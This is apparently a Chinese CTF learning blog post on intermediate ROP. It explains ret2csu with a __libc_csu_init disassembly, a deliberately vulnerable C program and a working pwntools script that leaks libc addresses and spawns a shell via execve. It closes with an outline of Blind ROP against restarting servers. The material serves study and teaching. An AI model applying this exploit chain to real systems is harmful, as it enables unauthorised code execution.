汐白学Pwn-3.2(ROP-Intermediate)

汐白学Pwn-3.2(ROP-Intermediate)

四月 24, 2020 (Updated: )

前面介绍了栈溢出的基础操作,现在开始应该才算是入门操作了

ret2csu

原理

我们知道64位的程序,其函数传参时六个参数以内是通过rdirsirdxrcxr8r9。也就是如果对64位程序进行栈溢出攻击时,我们不是仅仅在栈上布置输入的数据,我们还要找到可以控制以上六个寄存器的gadgets,而正常情况下我们是很难找到六个寄存器各自对应的gadgets。这个时候,就需要用到__libc_csu_init这个函数了。一般情况下的程序在编译时,编译器会自动调用该函数来完成对libc的初始化操作。也就是大多数程序虽然在编写的时候没有用到该函数,但是编译器会自动为其添加该函数,这些程序也因此都会有这个函数。

下面是我编译的程序反汇编后看到的这个函数的内容:(听说这玩意有很多不同版本,会有一些细节上的不一样,不过大同小异)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
0000000000401190 <__libc_csu_init>:
401190: 41 57 push r15
401192: 4c 8d 3d df 1f 00 00 lea r15,[rip+0x1fdf] # 403178 <__frame_dummy_init_array_entry>
401199: 41 56 push r14
40119b: 49 89 d6 mov r14,rdx
40119e: 41 55 push r13
4011a0: 49 89 f5 mov r13,rsi
4011a3: 41 54 push r12
4011a5: 41 89 fc mov r12d,edi
4011a8: 55 push rbp
4011a9: 48 8d 2d d0 1f 00 00 lea rbp,[rip+0x1fd0] # 403180 <__do_global_dtors_aux_fini_array_entry>
4011b0: 53 push rbx
4011b1: 4c 29 fd sub rbp,r15
4011b4: 48 83 ec 08 sub rsp,0x8
4011b8: e8 43 fe ff ff call 401000 <_init>
4011bd: 48 c1 fd 03 sar rbp,0x3
4011c1: 74 1b je 4011de <__libc_csu_init+0x4e>
4011c3: 31 db xor ebx,ebx
4011c5: 0f 1f 00 nop DWORD PTR [rax]
4011c8: 4c 89 f2 mov rdx,r14
4011cb: 4c 89 ee mov rsi,r13
4011ce: 44 89 e7 mov edi,r12d
4011d1: 41 ff 14 df call QWORD PTR [r15+rbx*8]
4011d5: 48 83 c3 01 add rbx,0x1
4011d9: 48 39 dd cmp rbp,rbx
4011dc: 75 ea jne 4011c8 <__libc_csu_init+0x38>
4011de: 48 83 c4 08 add rsp,0x8
4011e2: 5b pop rbx
4011e3: 5d pop rbp
4011e4: 41 5c pop r12
4011e6: 41 5d pop r13
4011e8: 41 5e pop r14
4011ea: 41 5f pop r15
4011ec: c3 ret

仔细观察一下就可以发现,我们可以通过0x4011e2处的 pop链0x4011c8处的 mov链 控制程序执行一个已知地址的函数内容。
(ps:之所以控制的是edi而不是rdi寄存器却还能用来给函数传参是因为这里rdi寄存器的高三十二位值为0,可以自己编译一个小程序调试查看)
并且因为程序在执行时其实是cpu在执行程序中对应的机器码,所以最后的pop链其实可以通过控制地址偏移来实现不一样的pop链
比如说,我们劫持rip后,控制地址为0x4011e5,此时将要执行的内容为:

1
2
3
4
5
4011e5: 5c                   pop    rsp
4011e6: 41 5d pop r13
4011e8: 41 5e pop r14
4011ea: 41 5f pop r15
4011ec: c3 ret

example

下面用实例演示对__libc_csu_init中的gadgets的利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
return 0;
}

程序下载:level5

将其作为64位程序进行编译,并且开启堆栈不可执行(NX)保护
(注:另外注意,获取shell用的shellcode一般是调用execve(‘/bin/sh’,0,0)函数,因为system函数会受本地环境变量影响导致不可用。)

该程序在read()时明显存在溢出,但是因为程序非常简单,所以无法找到其他直接控制传参寄存器的gadgets。所以我们覆盖返回地址为__libc_csu_init中的gadgets,然后布置相关参数。
这里的攻击思路是,先调用write()泄露got表中已经绑定的函数地址,然后查找到对应libc的版本计算出execve()的地址,然后通过read()/bin/shexecve()的地址写到bss段,最后再调用execve()获取shell。

利用脚本如下:

ps:因为我的本地libc库版本不在LibcSearcher使用的数据库中,
所以这里我是先泄露出需要的地址,然后手动查询libc库,从中获
取相关数据,所以脚本中会出现计算偏移的步骤中直接用的已知值
计算,这些已知值是查询到相关的libc库中对应的基址后写入的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

p = process('./level5')
elf = ELF('./level5')

context(os='linux',arch='amd64',log_level='debug')

# 写入需要用到的地址
write_got = elf.got['write']
main = elf.symbols['main']
read_got = elf.got['read']
libc_start_main_got = elf.got['__libc_start_main']
bss_addr = elf.bss()
pop_ret = 0x4011e2
mov_call = 0x4011c8
execve_offset = 0xcb140

print(p.recv())

# 将 csu 中的 gadgets的利用payload 写成函数方便每次使用
def csu(a1,a2,a3,symbol_call):
payload = 'a'*0x88
payload += p64(pop_ret)
payload += p64(0) + p64(1) + p64(a1) + p64(a2) + p64(a3) + p64(symbol_call)
payload += p64(mov_call)
payload += 'a'*56
payload += p64(main)
p.sendline(payload)

print("泄露 write 地址")
csu(1,write_got,8,write_got)
write_addr = u64(p.recv()[:8])
print(hex(write_addr))

print("泄露 read 地址")
csu(1,read_got,8,write_got)
tmp = p.recv()
print(tmp.encode('hex'))

print("泄露 libc_start_main 地址")
csu(1,libc_start_main_got,8,write_got)
libc_addr = u64(p.recv()[:8])
print(hex(libc_addr))

# 计算libc偏移量
libcbase = libc_addr - 0x026d20
system_addr = 0x048870 + libcbase
bin_sh = 0x1881ac + libcbase
execve_addr = execve_offset + libcbase

csu(0,bss_addr,16,read_got)
p.send( '/bin/sh\x00' + p64(execve_addr))

csu(bss_addr,0,0,bss_addr+8)

p.interactive()

Blind ROP(盲打pwn)

去实战刷题发现,这东西姿势太多,真的顶不住啊,还是先把例题手撸一遍叭emmm

u1s1,我为啥会觉得后面的高级ROP里面的SROP挺简单的放在这里这个位置其实就挺好,这玩意和接下来的dl_runtime_resolve一起放高级pwn,单纯的pwn小白个人感觉,如果有大佬在小白blog里无聊翻到这里请一笑略过

这里就不像ctf-wiki那样讲的写的那么细了,就用小白入门的方式做个记录。

Blind Pwn 原理

核心思想

一个字————猜!!!。什么花里胡哨的paper,其实中心思想就是 盲猜 23333.
鄙人汐小鹰赌你的程序有!漏!洞!

当然,不能瞎吉儿猜,要有理有据的猜才行,毕竟有漏洞无伤大雅,谁写的程序还能没点毛病,关键是这个洞要能被攻击者测试出来,并且利用它实现特殊目的,它才能算是个有用的洞对不对。

必要条件

  • 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
  • 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。

攻击过程

  • 测试栈溢出长度,以及是否存在格式化字符串漏洞
  • 枚举一个可用的返回地址,该地址可用的判断条件是只要程序运行到这个地址,一定会出现什么特征,并能让攻击者知晓
  • 枚举一个gadget,一般是libc_csu_init的结尾那个gadget

上篇-汐白学Pwn-3.1(ROP-Basic)/)

下篇-未完待续

隐藏